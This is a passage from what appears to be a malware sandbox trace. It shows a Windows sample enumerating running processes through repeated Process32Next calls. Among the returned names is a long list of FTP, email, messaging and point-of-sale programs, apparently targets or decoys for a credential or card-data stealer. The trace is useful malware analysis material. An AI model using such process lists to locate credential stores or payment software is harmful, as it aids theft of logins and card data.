th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.751] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.754] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.756] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.758] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.760] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.761] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.763] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.765] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.769] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.772] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.775] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.777] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.780] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.783] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.787] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0241.790] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.792] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.795] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.798] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.799] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.801] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.803] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0241.805] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.809] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.811] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.812] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.814] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.816] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.818] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0241.820] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0241.935] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0241.938] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0241.941] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0241.943] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0241.946] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0241.948] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0241.950] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0241.953] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0241.958] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0241.961] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0241.963] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0241.966] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0241.968] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0241.971] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0241.973] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0241.976] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0241.978] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0241.981] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0241.986] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0241.989] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0241.992] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0241.996] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0242.000] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0242.003] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0242.006] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0242.010] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0242.013] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0242.016] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0242.019] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0242.022] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0242.025] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0242.027] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0242.030] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0242.034] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0242.038] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0242.041] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0242.044] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0242.088] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0242.092] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0242.095] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0242.098] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0242.101] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0242.104] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0242.106] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0242.108] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0242.111] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0242.113] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0242.116] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0242.121] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0242.123] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0242.126] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0242.129] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 